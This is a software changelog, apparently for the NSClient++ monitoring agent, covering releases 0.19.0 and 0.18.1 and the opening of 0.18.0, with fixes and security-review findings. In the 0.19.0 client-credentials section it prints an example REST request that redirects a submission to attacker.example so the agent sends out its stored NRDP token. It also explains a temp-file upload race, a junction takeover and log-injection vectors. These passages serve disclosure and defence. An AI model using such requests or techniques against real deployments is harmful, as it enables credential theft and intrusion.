Skip to content

September 2026

0.19.0 A real nscp test prompt, a crash fix for service filters

0.19.0 gives the interactive console a proper prompt โ€” line editing, history, tab completion and highlighting โ€” and fixes a heap-corruption crash that took the whole agent down whenever a check_service filter matched nothing (#1499). A whole-codebase security review closed three findings: a client module’s configured credential could be sent to a caller-chosen host, REST script uploads were staged at a predictable path, and a junction defeated the modern-layout lockdown of %ProgramData%\NSClient++. The collectd client was reworked end to end โ€” host names resolve, timeout and retries are honoured, failed sends are reported, datagrams are sized correctly and a multicast target no longer fans out over every local interface.

Alongside that, the WEB server’s authentication limiter escalates against rapid-fire guessing, NRDP warns about an unverified TLS link, Icinga honours a base path in the target address, every documented query now has prose and captured samples, and the Upgrading and Security notices pages are assembled from one file per note with a module/version/action filter.

โœจ Highlights

  • ๐Ÿ–ฅ๏ธ nscp test is a real prompt. On a terminal you get line editing, persistent per-user history, position-aware tab completion against the command registry, hints, and highlighting that turns an unknown query or module name red before you press enter. Log messages redraw around the line you are typing instead of landing in the middle of it. Piping commands in now works on Windows, and an exhausted stdin no longer spins a core at 100%. (#1488)
  • ๐Ÿ›ก๏ธ A check_service filter that matched no service no longer kills the agent. check_service "filter=name = 'nosuchservice'" โ€” or a filter that merely missed on case โ€” terminated nscp with exception code 0xC0000374 and no result. Both check_service keywords and check_logfile’s column() now answer the documented empty-result contract, and every optional read in the tree goes through .value() so a future miss is a reported error, not a write to freed memory. (#1499)
  • ๐Ÿ” Client credentials stay with their target. host=, port= and address= moved a submission’s destination while the target’s configured password or token came along, so any holder of queries.execute could have the agent post the NRDP token, the Icinga login, the SMTP login or the NSCA password to a host of their choosing. That combination is refused now; target= also works for queries, and allow host override = true restores the old behaviour per target. (#1492)
  • ๐Ÿ”’ Two more review findings closed. PUT /api/v2/scripts/โ€ฆ staged the upload at ${temp}/<name>, where a local user could plant a file of the same name and have it imported as a command; it is staged in a randomly named, owner-only file now. On the opt-in modern layout, a pre-created junction at %ProgramData%\NSClient++ had the lockdown secure the junction’s target; reparse points are refused and the installer, the migration and service start all fail on one. (#1492)
  • ๐Ÿ“ก The collectd client works the way its settings say. A target named by host name threw on every metrics cycle; timeout and retries were read and ignored; a failed send looked exactly like a delivered one; a value list of a few hundred entries overflowed the 1452-byte datagram the receiver reads; and a multicast target sent a copy through every local interface, DMZ and guest NICs included. All fixed, with a new per-target multicast interface setting (auto, the default, all, or a list of local addresses). (#1494)
  • ๐Ÿ”’ Failed WEB logins back off exponentially. The fixed 60-second block after ten failures let an attacker resume at a steady rate forever โ€” about 14 000 guesses a day per address. Each further block now doubles up to an hour, but only for a run of failures that burned the whole budget at machine speed, so a client retrying a stale password behind NAT cannot lock out everyone sharing its address. (#1493)
  • ๐Ÿ”ง The console log is no longer held in a 64 KB buffer, so nscp test shows log lines as they happen instead of when you press a key, and a redirected or supervised console streams. --no-stderr and the oneline format finally take effect. (#1488)
  • ๐Ÿ“š Every documented query has a description and samples, captured against a running agent, with the errors the capture turned up corrected in the text. The Upgrading and Security notices pages are now built from one file per note, with a filter for the version you come from, the modules you run and whether a note needs action. (#1480, #1482)

๐Ÿ” Detailed changes

๐Ÿ–ฅ๏ธ CommandClient โ€” nscp test gets a real prompt

The interactive console was a poll loop around std::getline: no line editing, no history, no colour. When both stdin and stdout are a terminal it now runs on replxx, vendored under libs/replxx/ (byte-identical to upstream so provenance can be diffed; no network needed at build time).

History Persistent, per user, saved after every command (nscp test is routinely killed). %APPDATA%\NSClient++\console-history.txt on Windows, $XDG_STATE_HOME/nscp/console-history or ~/.nscp_history elsewhere, created 0600 on POSIX.
Completion Position-aware: built-in verbs and registered queries in command position, query names after desc, the query’s own parameter names as name= once you are typing arguments. load/enable offer the modules that are not yet loaded or enabled, unload/disable the ones that are.
Highlighting A query or module name that does not resolve turns red before you press enter.
Hints The command’s one-line description, greyed after the cursor.
Log The agent logs from a background thread the whole time the prompt is up; messages are drawn above the prompt and the half-typed line redrawn underneath. Multi-line results keep their line breaks.

Commands typed at a prompt can carry credentials, so a new [/settings/cli] section controls what is kept: history size = 0 turns persistence off, history file relocates it, color disables colour.

The first load <tab> of a session pauses while the core scans the module directory; it is done once per process. help is now generated from the same vocabulary as the prompt, so it lists all sixteen built-in verbs instead of the eight it had drifted to, and an empty Performance data: line is no longer printed after every result that has none. See Test mode.

With stdin not a terminal nothing changes โ€” no prompt, no history, no colour โ€” except three fixes: piping commands in now works on Windows (the readiness check used a console-only API and silently ignored a file or pipe), an exhausted stdin parks the loop instead of spinning at 100% CPU on POSIX, and end of input is no longer treated as a reason to exit, which is how the agent is normally started under a supervisor.

To make this possible a module can now take the console over: the new NSAPISetLogOption core API accepts the same strings as the --log switch, and the prompt calls set_log_option("no-console") while it owns the terminal. Fixing the one-way console flag exposed that oneline and no-std-err were being forwarded to the log level parser, rejected with Invalid log level: no-std-err, and never applied. Both reach the log driver now.

๐Ÿ”ง Core โ€” the console log is flushed

The console log backend installed a 64 KB buffer on standard output and nothing ever emptied it. MSVC’s stream honours that buffer, so on Windows log output sat there until something else flushed the stream โ€” in nscp test that was reading the next line of input, which is why the log appeared to catch up only when you pressed a key. A redirected console (nscp test > log.txt, a container, a supervisor) looked mute until 64 KB had built up or the process exited. Every message is flushed as it is written now.

๐Ÿ›ก๏ธ Filters โ€” an empty filter result no longer corrupts the heap

When nothing matches a filter, the framework re-evaluates the warning and critical expressions with no object bound to the evaluation context, so that an expression which also reads the summary (โ€ฆ or count = 0) still reaches a verdict. check_service defaults to not state_is_perfect() and not state_is_ok(), and both read the service straight off the context without checking one was there. That dereferenced an empty optional, resurrecting a destroyed shared_ptr control block out of the vacated storage; the copy taken of it wrote to freed heap memory, and the process died somewhere unrelated with 0xC0000374 and no usable stack. debug=true masked it, because with debug on the context keeps a copy of every object and the stray write lands on live memory. check_logfile’s column() keyword had the same unguarded access.

Both keywords now report an unresolved value when no object is bound, as the built-in keywords already did, and the check returns UNKNOWN: No services found. The accessor underneath throws a filter error instead of reading the vacated storage. Any host past allowed hosts could trigger this over NRPE with allow arguments = true, and any authenticated REST client could; the Unix implementation already had the guard and was never affected. (#1499)

As a follow-up, all 214 optional dereferences across 67 files were converted to .value(), including the ones sitting under an if (opt) guard: the guard is what a later edit moves or deletes, and uniformity is what makes the rule checkable. .value() throws bad_optional_access, which the catch around every filter evaluation turns into a reported error on the check.

๐Ÿ” Client modules โ€” credentials pinned to their target

The shared client parser loads the module’s default target โ€” credential included โ€” and then applies the request’s arguments on top. host=, port= and address= moved the destination while the credential stayed, so

GET /api/v1/queries/submit_nrdp/commands/execute?address=http://attacker.example/nrdp/&command=x&result=0&message=x

had the agent post the configured NRDP token to the attacker. Both seeded REST roles carry queries.execute and the permission policy is off by default, so a checks-only REST user was enough; over NRPE it needed allow arguments = true. Affected are the modules whose targets carry a credential: NSCA, NSCA-NG, NRDP, Icinga, SMTP and NSCP.

A request that moves the destination away from the target’s configured address is now refused when the credential that would travel is the target’s own. The guard decides on two facts โ€” the resolved destination differs from the one the target configured, and at least one credential still in the container is the target’s rather than the request’s โ€” so a target with no credential, a request that supplies its own password=/token=, and a request that does not move the destination are all unaffected, and a destination moved through a header host entry is caught too. allow host override = true on a target restores the old behaviour explicitly.

target= now selects a configured target on the query path as well. It was only ever applied when a command ran as an exec; as a query โ€” which is what a REST or NRPE caller gets for check_* and submit_* โ€” it was accepted and silently ignored, so the one remedy the refusal recommends did not work where the refusal is most likely to be met.

๐Ÿ”’ WEBServer โ€” script uploads are staged privately

PUT /api/v2/scripts/โ€ฆ (admin only) wrote the body to ${temp}/<name> โ€” /tmp, or C:\Windows\Temp for a SYSTEM service โ€” with an unchecked truncating write, then imported it as a command. A local user who created that file first won a race against the copy, or won outright where the service’s overwrite was refused and the failure ignored, and the planted content then ran as the service account. Stock DEB/RPM installs were not exploitable for code execution (the service runs as nsclient and the script root is root-owned). Uploads now go to a randomly named file, created exclusively and owner-only, never through a symlink, with every write checked and the file removed once consumed; a staging failure is reported as HTTP 500 instead of importing whatever was on disk.

๐Ÿ”’ Windows modern layout โ€” the shared folder must be a real directory

The opt-in, experimental LAYOUT=modern install keeps nsclient.ini, the fleet private key and the TLS material in %ProgramData%\NSClient++ and locks the folder down by taking ownership and replacing its DACL. Every step was path-based, and a standard user can create a junction under that name before the installer first runs: the owner and DACL were applied to the junction’s target while the link stayed theirs to swap for a real folder with a crafted nsclient.ini, which the next service start loaded as SYSTEM.

Ownership and the DACL are now applied through a handle opened on the entry itself (FILE_FLAG_OPEN_REPARSE_POINT, one open per operation asking only for the rights that operation needs), and anything that is not a plain directory is refused โ€” by the installer, by nscp settings --migrate-layout modern, and at service start. Legacy installs are untouched.

๐Ÿ“ก CollectdClient โ€” the sender reworked

Problem Fix
A target address written as a host name threw on every metrics cycle (make_address() accepts IP literals only), so metrics silently never left. Addresses are resolved; an unresolvable target is reported by name. The first endpoint the resolver returns is used.
timeout and retries were read into the connection and never used; the send was asynchronous and discarded its error code, so an unreachable target, a full socket buffer or an oversized datagram looked exactly like a delivered packet. The send is synchronous and checked. A locally failed send is retried up to retries times (default 3, 20 ms apart); the whole send, name resolution included, runs under timeout (default 30 s, 0 for no limit); failures are logged once per distinct message. A datagram the receiver already has is never sent twice.
Nothing bounded a values part, so a value list of a few hundred entries overflowed the 1452-byte datagram the collectd network plugin reads, and past ~3600 entries the part length wrapped and put a malformed part on the wire. One overlong host name could consume the whole packet. Each metric is costed against what the packet has left and flushed first when it does not fit; identifiers are clamped to 127 bytes (what the receiver stores); values that cannot fit a datagram of their own are counted and the number dropped is logged. Packets fill to the real limit again instead of stopping at roughly half.
A multicast target (no address configured โ†’ 239.192.74.66:25826) sent a copy of every datagram through every local interface of the matching family โ€” unauthenticated cleartext host name, CPU, memory, uptime and process counts on every attached segment. On a Debian-style host whose name maps to 127.0.1.1 the enumeration yielded loopback only, so nothing left the machine at all. New per-target multicast interface: auto (default) sends one copy through the interface the routing table picks; all restores the fan-out; a comma-separated list of local IP addresses sends through exactly those, with an unusable entry reported and skipped and a wholly unusable list sending nothing rather than falling back to the default route.
sent counted datagram ร— socket while failed counted payloads, so the “not sent” count underflowed to about 1.8 ร— 10ยนโน on a multi-interface target. A datagram is one unit of work whatever the interface count; sent + failed accounts for every payload.

The UDP delivery half moved out of the module into net/collectd/, where it is unit-tested against a real loopback socket, and the integration suite gained a target named localhost.

๐Ÿ”’ WEBServer โ€” escalating block on repeated authentication failures

The per-IP limiter blocked a client for a fixed auth rate limit block seconds (default 60) after auth rate limit max failures (default 10) consecutive failures and then reset its counter โ€” roughly 14 000 guesses a day per source address, indefinitely, against Basic auth, the password header and the legacy ?password= form check_nscp_api uses. Each consecutive block from the same IP now doubles the wait, up to an hour; a configured block already longer than that is used as configured. The escalation resets on a successful authentication or after an hour of quiet.

Only a run of failures that burned the whole budget faster than one attempt every two seconds escalates. The limiter keys on the socket peer, so behind NAT or a reverse proxy every client shares one address, and a single monitoring client retrying a stale password on a schedule must not be able to ratchet that address up to the ceiling. Bearer / ?TOKEN= session tokens are not metered: they are 256-bit random values, and counting an expired one against the limit would let a client with a stale session lock its own address out. This is defence in depth on top of PBKDF2 and the uniform 403; IP rotation remains out of scope.

An https submission whose verify mode carries no peer-verifying token sends the token โ€” a shared secret โ€” to whichever server answers. The module now logs that, naming the endpoint, once per target for the life of the process (the Icinga client already did; a first cut logged on every submission, which at a 60-second schedule is 1 440 lines a day). The connection itself is unchanged. The verify mode help text is corrected in the same pass: it recommended none for self-signed certificates and listed client-once, workarounds and single, which the client-side parser rejects. Use peer-cert with ca pointing at the certificate instead.

๐Ÿ”ง IcingaClient โ€” a base path in the target address is honoured

The path of a target address (https://proxy.example.com/icinga/) was parsed into a field nothing read, so every call went to /v1/โ€ฆ on the host and an Icinga 2 master published under a reverse-proxy subpath could not be reached. The prefix is normalised once (a doubled leading slash collapses to one, no trailing slash) and prepended to every API path, for the submission and the ensure-objects calls alike. Addresses without a path are unchanged.

๐Ÿ“š Documentation

  • **Upgrading and Security notices can be filtered. The reader picks the version they come from, ticks the modules they run, and can restrict to security-relevant or action-needing notes; the selection is remembered and mirrored into the query string.
  • Test mode has a page โ€” keys, what completion offers, where history is kept and how to turn it off, non-interactive behaviour, and the stop-the-service dance on both platforms.
  • REUSE metadata matches the bundled headers: the asio and SimpleIni overrides carried copyright years from later releases than the copies vendored here. (#1486)

โš ๏ธ Upgrade notes

  • ๐Ÿ”’ A check_service filter that matched no service no longer kills the agent. Nothing to configure. If you worked around it with service=<exact name> and no filter=, service name patterns are usable again.
  • ๐Ÿ”’ A client target no longer lets a request send its configured credential to a destination the request names. A submit_*/check_* call that passes host=, port= or address= against a target with a password or token, without supplying the credential itself, now fails with an error naming the target. Pass the credential with the request, configure each server as its own target and select it with target= (which now works for queries too), or set allow host override = true on the target. Targets without a credential are unaffected.
  • ๐Ÿ”’ REST script uploads are staged in a private, randomly named file. No configuration change; a staging failure is now an HTTP 500.
  • ๐Ÿ”’ Modern layout (opt-in, experimental): the shared folder must be a real directory. A %ProgramData%\NSClient++ that is a junction or symbolic link is refused by the installer, by nscp settings --migrate-layout modern, and at service start. Relocate the folder with a [paths] override in boot.ini instead. Legacy installs are unaffected.
  • ๐Ÿ”’ A multicast collectd target now sends through one interface, not all of them. If you depend on a multicast target reaching several segments, set multicast interface = all on it, or list the local addresses to send through. Unicast targets ignore the setting.
  • ๐Ÿ”’ Repeated rapid-fire failed WEB logins from one IP are blocked for longer each time. Nothing to do on a default install. A probe that deliberately authenticates with bad credentials will be blocked for longer; auth rate limit max failures = 0 still disables the limiter for a test harness.
  • ๐Ÿ”’ An NRDP submission over an unverified https link now says so in the log, once per target. If it names a target you expected to be verified, set verify mode = peer (or peer-cert with a ca).
  • ๐Ÿ”ง nscp test writes a per-user history file. Commands typed at the prompt can carry credentials; set history size = 0 under [/settings/cli] to keep nothing on disk. With stdin not a terminal nothing changes, except that piping commands in now works on Windows and end of input no longer exits.
  • ๐Ÿ”ง The console log is no longer buffered, and --no-stderr and the oneline log format now take effect. Nothing to do unless you were working around either.
  • ๐Ÿ”ง target= now selects a configured target on the query path. A REST or NRPE query that passed target= and relied on reaching default anyway will now reach the target it named.
  • โฑ๏ธ collectd submissions honour timeout and retries and report failed sends. Nothing to do unless you set a large retries on a collectd target โ€” it now costs real time, bounded by timeout (default 30 s; timeout = 0 for no limit).
  • ๐Ÿ”ง An Icinga target address with a path prefix is now sent. If a target address carries a path that is not a subpath of the API, remove it.

Full detail on the security items lives in Security notices; the operator actions are mirrored on Upgrading.

Download

You can download the new version from GitHub

// Michael Medin

0.18.1 Security hardening and bugfixes of monitoring clients

0.18.1 is a security and correctness release for the passive/outbound side of the agent. A review pass over the client modules โ€” Icinga, NRDP, NSCA, NSCA-NG, check_mk, Elastic, Graphite, syslog, and a second round on SMTP โ€” turned up the same three shapes over and over: configuration that parsed fine and was then thrown away, network operations that could never time out, and attacker-influenced text reaching another system’s log unscrubbed. The external-script launcher and the filter framework got the same treatment.

The most consequential single item is NSCA-NG cert mode, which applied its TLS configuration too late and therefore accepted any server certificate. Alongside the hardening, the Elastic module can finally talk to a current Elasticsearch, the web UI moves to MUI 9 / react-router 8 with its test suites wired into CI, and a coverage sweep adds unit tests to every source file that was under 50%.

โœจ Highlights

  • ๐Ÿ” NSCA-NG cert mode verifies the server again โ€” and presents your client certificate. The OpenSSL context was configured after the TLS stream was created from it, and SSL_new() copies the verify mode, certificate, cipher list and version bounds at creation time. So verify mode = peer-cert ran with verification off, any certificate was accepted, and the configured client certificate was never sent. The default PSK mode was never affected. (#1461)
  • ๐Ÿงพ Configuration that silently did nothing now applies. check_mk client targets discarded every TLS key (use ssl, certificate, verify mode, โ€ฆ) and connected in plaintext regardless; syslog targets never read severity, facility, tag_syntax or message_syntax; NSCAServer’s performance data = false was ignored; and ext-scr install --arguments=โ€ฆ wrote its lockdown to a key the module does not read. All four are fixed.
  • โฑ๏ธ A stalled endpoint can no longer wedge a submitting thread forever. Icinga, NRDP, Graphite and Elastic submissions all ran with no deadline; each is now bounded by the target’s timeout (default 30 s) as a single budget over resolve, connect, handshake and exchange. External scripts enforce their timeout by wall clock on both platforms. (#1464, #1465, #1466, #1467, #1468, #1453)
  • ๐Ÿ”Ž The Elastic module works against Elasticsearch 8 โ€” and verifies TLS. Verification was hardcoded off; it now defaults to peer with tls version, verify mode and ca settings, plus new user/password and api key authentication. The legacy _type parameter is no longer sent by default, and every document in a bulk request gets its own _id โ€” previously they shared one and overwrote each other. (#1453)
  • ๐Ÿ”’ tls version = 1.2+ means “1.2 or later” again. The + was stripped and the value mapped onto a version-pinned method, which pins the maximum too โ€” so the common default negotiated TLS 1.2 only and silently excluded TLS 1.3. Fixed in the shared stack: all HTTP-based clients, the NRPE/NSCA socket clients and servers, and check_tcp. (#1464)
  • ๐Ÿ“จ Syslog datagrams carry the RFC 3164 HOSTNAME field, so a conforming receiver stops promoting the tag to origin host โ€” which meant check output could choose which host a record was filed under. An unknown severity or facility now degrades to <13> (user.notice) instead of <0>, kernel.emergency. (#1470)
  • ๐Ÿงฑ Filter expressions are bounded at 1024 characters and 64 nesting levels. The parser and the AST evaluator both recurse with the shape of the input, so a long or deeply nested expression could exhaust the stack and crash the agent. Real filters sit an order of magnitude below the limits. (#1469)
  • ๐Ÿ–ฅ๏ธ The web UI moves to MUI 9, react-router 8 and TypeScript 6, with its 65 vitest unit tests and 18 Playwright integration tests now running in CI on every build. (#1459)

๐Ÿ” Detailed changes

๐Ÿ” NSCA-NG โ€” cert mode applies TLS configuration before the stream exists

use psk = false targets built the ssl::context, created the connection from it, and then set the verify mode, client certificate, cipher list and TLS version bounds. OpenSSL copies all of that out of the context when the stream is created, so none of it took effect: verify mode = peer-cert accepted a man-in-the-middle’s certificate, and a server asking for a client certificate never got one. Configuration is applied first now.

Two visible consequences: a cert-mode target whose server certificate does not chain to the configured ca (or does not match the host name) will now fail to connect โ€” that is the verification working โ€” and servers requiring a client certificate will start receiving it. The default PSK mode authenticates both ends through the pre-shared key and is unaffected.

๐Ÿงพ Settings that were read but never applied

Module Setting(s) What happened
CheckMKClient use ssl, certificate, certificate key, ca, allowed ciphers, verify mode, dh The target object never called register_all()/notify(), so the keys were parsed and thrown away โ€” the client connected in plaintext whatever the configuration said, and the keys were missing from the reference docs.
SyslogClient severity, facility, tag_syntax, message_syntax, ok-severity/warning-severity/critical-severity/unknown-severity Stored under keys the sender never read, so built-in defaults always won: a settings-defined target sent an empty tag and dropped the message text.
NSCAServer performance data = false Ignored; perfdata is stripped from forwarded submissions again, as documented.
CheckExternalScripts ext-scr install --arguments=โ€ฆ Wrote the lockdown to a path nothing reads, so it reported success while leaving arguments enabled. Re-run it after upgrading.
GraphiteClient timeout Looked up in the free-form option map, where the well-known timeout key is not stored โ€” the default 30 always won.

Values you configured โ€” possibly years ago, without effect โ€” now apply. Review those target sections for stale keys before upgrading.

โฑ๏ธ Operations that could never time out

Each of these ran with no deadline, so an endpoint that accepted the connection and then went silent held the submitting thread indefinitely, quietly stopping passive results until a service restart.

  • Icinga, NRDP, Graphite (both the submission and the recurring metrics flush) and Elastic are now bounded by the configured timeout (default 30 s; 10 s for one-shot nscp client submissions) as one budget covering name resolution, connect, TLS handshake and the exchange. NRDP also retries transport failures up to retry, each attempt on a fresh connection.
  • Graphite’s retry is gone. It never had any effect โ€” the module always made exactly one attempt โ€” and a retry loop would multiply the worst-case time a stalled endpoint can hold a thread. It is still registered centrally for all client modules, so it remains in the reference, but GraphiteClient does not act on it. Mirrors the SMTP retry change in 0.18.0.
  • External scripts. On Unix the single-string shell fallback ran through popen(), which hides the child PID, so timeout= was unenforced and a hung script wedged a worker thread per invocation. On Windows the read loop counted iterations rather than elapsed time, so a continuously chatty script escaped the timeout entirely and leaked an unkillable process each run. Both launchers now bound the wait by wall-clock deadline, with captured output capped at 8 MiB.
  • SMTP already bounded its submission, but a budget that expired mid-connect left the cancelled operation’s completion handler queued โ€” to be run by the retry against the next resolved address, with references into a stack frame that no longer existed. Handler state is heap-owned now, and a spent budget ends the endpoint walk instead of retrying into it. (#1471)

๐Ÿงน Injection, scrubbing and resource limits

  • Graphite status paths go through the same scrub as the perf path. The ${check_alias} substituted into them can come from a remote submitter, so an alias carrying a newline injected an extra, attacker-chosen metric line into Graphite (and a ; injected carbon tags) โ€” a way to hide a real problem or fabricate one. (#1465, #1467)
  • Inbound NSCA wire fields are validated before they reach the logs and the inbox channel: control characters are stripped from host and service names, and a return code outside 0โ€“3 is clamped to UNKNOWN instead of flowing on as an arbitrary 16-bit integer. (#1460)
  • SMTP reply text is rendered inert before it is logged. Anything outside printable US-ASCII is replaced โ€” the C0 controls and the C1 range (0x80โ€“0x9F), which carries single-byte terminal escapes such as CSI โ€” so a multi-line reply can no longer forge extra log lines. The reply to STARTTLS must be exactly 220 per RFC 3207 rather than any 2xx, and AUTH credentials containing a NUL are refused before connecting. (#1471)
  • Buffers are bounded. An NRDP response body is capped at 5 MB (previously unbounded โ€” a hostile server, or a man in the middle on a plain http:// target, could stream the agent out of memory), and an SMTP reply at 64 KB per line and 100 lines. Nothing previously capped how much a peer could make the client buffer inside its timeout window, so bytes without a line ending, or endless 250- continuations, turned a 30-second budget into gigabytes.
  • Credentials are masked in the trace log. The trace-level target dump printed raw password / token values; the fix is in the shared client machinery, so every outbound client module is covered. (#1466)
  • Unverified links are called out. An Icinga https submission whose verify mode resolves to no peer verification logs a message naming the endpoint. An empty NSCA password with encryption enabled logs an error on both ends โ€” the key is the password zero-padded with no derivation step, so an empty one is a well-known all-zero key.

๐Ÿ”Ž ElasticClient โ€” verified, authenticated, and Elasticsearch 8 compatible

Setting Default Purpose
tls version 1.2+ TLS floor for https:// addresses
verify mode peer Certificate verification (was hardcoded to none)
ca ${ca-path} CA bundle
user / password (empty) HTTP basic authentication
api key (empty) API-key authentication
timeout 30 Budget for the whole submission
event type, metrics type, nsclient log type (now empty) Legacy _type; set explicitly on ES 6.x or older

Beyond the TLS and auth work: every document in a bulk request now gets its own _id, so multi-line events show up completely instead of overwriting each other down to a single entry; responses are parsed defensively and non-2xx statuses are reported instead of ignored; a timestamp from one event line no longer leaks into later lines; and events are refused after unloadModule. (#1453)

๐Ÿ“จ SyslogClient โ€” a well-formed datagram, and options that reach the wire

Datagrams now read <PRI>TIMESTAMP HOSTNAME TAG MESSAGE. The hostname setting under [/settings/syslog/client] โ€” until now read but never used โ€” fills the HOSTNAME field (default auto, the machine name). Receivers that promoted the tag (default NSCA) to origin host will now file records under the real host name, so adjust any log-parsing rule keyed on the old, hostname-less format. An IPv6 hostname is kept intact.

tag_syntax, message_syntax and the per-state severity options take effect for the first time; an unknown severity/facility falls back to <13> instead of <0>; and all C0 control bytes and DEL in the outgoing line are replaced with spaces (previously only CR, LF and NUL), so check output cannot smuggle ANSI escape sequences into the receiver’s log. (#1470)

๐Ÿงฑ Filter framework โ€” bounded expression length and depth

A filter / warning / critical expression โ€” and a %(...) expression placeholder inside a syntax template โ€” longer than 1024 characters or nested more than 64 parentheses deep is rejected at parse time with a clear “exceeds the maximum length/depth” error. Both the recursive-descent parser and the AST evaluator recurse with the shape of the input, so an unbounded or deeply nested expression could exhaust the thread stack and crash the whole agent โ€” reachable by anyone able to influence a filter string over the authenticated REST API, or over NRPE with allow arguments = true. String literals are exempt from the depth count, and real filters are a small fraction of both limits. (#1469)

๐Ÿš CheckExternalScripts โ€” sandbox, arguments and the shell fallback

Beyond the timeout work above: the show / delete sandbox resolves symlinks before its containment test (previously a symlink inside the script root pointing outside it let an authenticated admin read or remove files anywhere the service account could reach); % and ^ are refused on the Windows shell fallback (cmd.exe %VAR% expansion and its escape character, opt-out via allow nasty characters); add arguments is honoured and list --include-lib works; and a null-provider dereference and the help-pb argument numbering are fixed. The docs now warn that write access to any script path directory is equivalent to code execution as the service account, and clarify that allow arguments does not gate aliases. (#1468)

๐Ÿ–ฅ๏ธ Web UI โ€” dependency modernization

Every dependency in web/package.json moves to its latest release: MUI (material, icons, x-charts) 7/8 โ†’ 9, react-router 7 โ†’ 8, eslint 9 โ†’ 10, TypeScript 5.9 โ†’ 6.0, plus minor bumps for react, redux, zod, vite and vitest. The UI is adapted to the MUI 9 breaking changes โ€” removed system props moved into sx, renamed outlined icons, the containedPrimary shadow expressed as a theme variant, and Autocomplete’s renderInput params now exposing slotProps.input.

Both web suites are now part of the CI build (build-web.yml, Node raised to 22 for react-router 8): 65 vitest unit tests and 18 Playwright integration tests driving the built bundle in a real Chromium. The e2e preview server binds to 127.0.0.1. (#1459)

๐Ÿงช Tests and coverage

A sweep of the gcovr reports added unit tests to every source file under 50% combined line coverage that can be exercised deterministically โ€” roughly 4,000 lines of new test code across the check_mk wire protocol, pid_file, the compat helpers, execute_process_unix, the NRDP/NSCA-ng/NSCP client handlers, Icinga target objects, the CheckDisk file filter, perf_filter, the where-engine evaluation context, the external-scripts provider, CheckSystemUnix network / service / cpu-frequency, the simple file logger, the zip plugin, onboarding’s chown_subtree and the settings proxy. New integration suites cover CheckExternalScripts commands, Elastic submission and NSCA-NG cert mode.

check_cpu_frequency was refactored to take a sysfs base path so a fixture tree can drive it; production behaviour is unchanged.

๐Ÿ› Bug fixes

  • NSClientServer: check_nt instance listing could crash the serving I/O thread. list_instance() advanced a tokenizer iterator under a guard that was always true, making the invalid-line branch dead and dereferencing tok.end() on any line with fewer than three comma-separated fields โ€” which a failed PDH enumeration produces (ERROR: โ€ฆ). It now advances to the third field explicitly and logs genuinely malformed lines. (#1463)
  • NSCA-NG scenario docs corrected. The example nsca-ng.cfg used command instead of command_file (so it did not parse) and carried an authorize block with only a password, which nsca-ng treats as authorizing nothing โ€” the PSK handshake succeeds and every submission is rejected with FAIL. The example now has anchored hosts/services patterns, a Common Gotchas entry for that symptom, a danger admonition against wildcard commands patterns, and guidance on PSK entropy and not passing --password on the command line. (#1462)
  • Elastic: dead copy-paste from the Graphite client removed (elastic_handler.hpp, the unused channel/command machinery and the client-parser dependency).
  • execute_process_w32 uses GetTickCount for XP-toolset compatibility.

โš ๏ธ Upgrade notes

  • ๐Ÿ”’ NSCA-NG cert mode really verifies now. Upgrade if any target sets use psk = false. A target whose server certificate does not chain to the configured ca, or does not match the host name, will start failing to connect โ€” fix the certificate, or accept the exposure explicitly with insecure = true. Servers requiring a client certificate will now receive one. PSK mode is unaffected.
  • ๐Ÿ”’ check_mk targets with use ssl = true now really negotiate TLS. A plaintext-only server end will start failing โ€” loudly, which is the point.
  • ๐Ÿ”’ An unrecognized NSCA encryption value is a hard error. A typo (aes-256) or an algorithm not compiled into the build used to fall back to no encryption on the end carrying it. The NSCAServer module now refuses to load and an NSCAClient submission fails, each naming the available algorithms. Breaking only for setups relying on that fallback โ€” including builds compiled without crypto++, where every cipher name degraded to plaintext. Fix the name, or set encryption = none if plaintext was intended. Default installs (aes256) are unaffected.
  • ๐Ÿ”’ An empty NSCA password with encryption enabled now logs an error on both ends. The password is the key, so an empty one is a well-known key โ€” set the same real password on both ends.
  • NSCAServer’s performance data = false is honoured again. If you relied on it while it was broken, perfdata really is dropped now.
  • ๐Ÿ”’ Elastic over https verifies certificates. Point ca at your self-signed certificate, or set verify mode = none to keep the old behaviour. On Elasticsearch 6.x or older, set event type, metrics type and nsclient log type explicitly โ€” the legacy _type parameter is no longer sent by default.
  • ๐Ÿ”’ Syslog targets: configured severities and templates now apply. Values set on a [/settings/syslog/client/targets/โ€ฆ] section were never read, so the built-in defaults always won. Review those sections for stale keys. Receivers whose parsing rules keyed on the old hostname-less datagram need adjusting โ€” records now arrive attributed to the agent’s host name instead of the tag. Syslog remains cleartext and unauthenticated: keep the path to the server on a trusted segment.
  • โฑ๏ธ Slow endpoints now fail instead of hanging. A submission to an unresponsive Icinga, NRDP, Graphite or Elastic endpoint gives up after timeout (default 30 s) โ€” raise it on that target if the endpoint is legitimately slower, or set timeout = 0 on an Icinga target if you depend on the old unbounded wait. Graphite’s timeout is now a budget for the whole submission, so a target that only completed by quietly taking longer will fail at the configured value.
  • ๐Ÿงน Graphite’s retry is no longer read. The module always made one attempt; the setting still appears in the reference (it is registered for all client modules centrally) but has no effect.
  • ๐Ÿ”’ tls version with a trailing + means “that version or later”. 1.2+ previously negotiated TLS 1.2 only; it now also permits TLS 1.3, and any is accepted as documented. This applies to the HTTP-based clients, the NRPE/NSCA clients and servers, and check_tcp. Pin an exact version (tls version = 1.2) if a peer misbehaves when TLS 1.3 is offered.
  • ๐Ÿ”’ CheckExternalScripts: re-run ext-scr install after upgrading so an argument lockdown lands on the setting the module actually reads. The default install is unaffected (arguments are off by default). Treat write access to any script path directory, and the ability to configure external-script commands, as equivalent to code execution as the service account.
  • ๐Ÿ”’ Filter expressions over 1024 characters or 64 nesting levels are rejected. Every normal configuration is far below both limits; only a pathologically large or deeply nested expression is refused.
  • ๐Ÿ”’ Credentials no longer appear in the trace log. password and token values are masked in the target dump at log level trace, across every outbound client module.

Full detail on the security items lives in Security notices; the operator actions are mirrored on Upgrading.

Download

You can download the new version from GitHub

// Michael Medin

0.18.0 Fixed some exotic passive checks, and security hardening

Most of 0.18.0 is about things that reported success while doing nothing. check_and_forward built its submission in a form no channel could read, check_nscp had counted zero crash reports since 0.4.2, and a module enabled by a fleet bundle was never loaded until the service restarted โ€” all three are fixed. Security reviews of the SMTP, NRPE, NRDP/NSCA and WEB modules landed alongside them, and the bundled OpenSSL moves to 3.5.8.

It also adds run_schedules for submitting a passive result without waiting out the interval, lets the MSI install your own TLS certificates, and gives real-time filters a way to prime their destination at startup.

โœจ Highlights

  • ๐Ÿ“ค check_and_forward submits again. The command ran the check, answered Message submitted and delivered nothing: the submission was built as a query message, which no channel can read. NSCA, NRDP, Graphite and every other client module were equally affected. It also gained channel, alias, destination and source. (#1452)
